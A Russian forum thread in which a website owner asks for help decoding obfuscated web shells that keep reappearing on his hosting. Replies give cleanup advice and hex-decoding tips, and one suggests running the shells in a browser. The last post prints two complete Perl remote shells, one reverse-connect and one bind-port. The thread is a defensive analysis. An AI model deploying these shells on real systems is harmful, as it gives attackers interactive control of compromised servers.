Можно ли раскодировать это?

Статус
В этой теме нельзя размещать новые ответы.

beldvd

Профессор
Регистрация
27 Июн 2007
Сообщения
163
Реакции
46
Нашел вот на сервере лишние файлы с содержимым вида
, которые после удаления появляются снова под другими именами и в несколько других обличиях. Запарился чистить. Пароли ftp менял несколько раз - не помогает, есть подозрение, что долбаный хакер хакнул root пароль хостера. Во всяком случае, файлы под 444 и в папках под 555 заменяются/инклудятся на ура... ,-(
Можно ли раскодировать это? Может это поможет как-то вычислить, откуда ноги выросли...
 
По виду - обычные веб-шеллы. Надо их искать и вырезать.
чтобы узнать, что делают - просто запустить через браузер

ноги надо искать в логах доступа к этим файлам. А заодно посмотреть в инете нет ли дыр пот текущую версию движка.

Далее сменить пароли на все что можно, убрать излишние 777 и добавить .htaccess в нужные места и в нем запретить выполнение php.
 
Коды в архиве к посту.
Пароли менялись не раз и на очень серьезные, chmod зажаты до ручки вплоть до 400 местами и 555 на папки, где только можно. Не помогает.
 

Вложения

  • codes.zip
    104,6 KB · Просмотры: 12
Странно... Переделал, 7z or rar на выбор.
Спасибо!
 

Вложения

  • codes.rar
    103 KB · Просмотры: 9
  • codes.7z
    98,8 KB · Просмотры: 6
честно говоря - я не занимаюсь такими вещами и вручную мне муторно
Если очень нужно -- открывай index.php в notepad++
выделяй строку типа \x63\x6f\x6ef\x69g\x2eph\x70 потом в меню - TextFX Convert - Convert hex to text
автоматизировать на один раз лень -- а так - напиши макрос в редакторе и вперед строки декодировать
+ аккуратнее, там текст смешанный и не все так кодировано - так что выделяй именно руч кодированные символы \x11 т.е. две цифры после \x

в архиве пара файлов для примера - что в итоге, но труд муторный и неблагодарный -- шеллы банальные

при большом желании - скачивай свои скрипты на комп и ищи по текстам файлов \x -- в обычных скриптах такое редко встречается, за ненадобностью
 

Вложения

  • 8.zip
    33,9 KB · Просмотры: 7
Вот что получилось:
 

Вложения

  • codes.rar
    73,8 KB · Просмотры: 9

Вложения

  • sample_code_s.txt.rar
    932 байт · Просмотры: 3
$back_connect_p:
Код:
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);
$bind_port_p:
Код:
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
	accept(CONN,S);
	if(!($pid=fork)) {
		die "Cannot fork" if (!defined $pid);
		open STDIN,"<&CONN";
		open STDOUT,">&CONN";
		open STDERR,">&CONN";
		exec $SHELL || die print CONN "Cant execute $SHELL\n";
		close CONN;
		exit 0;
	}
}
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху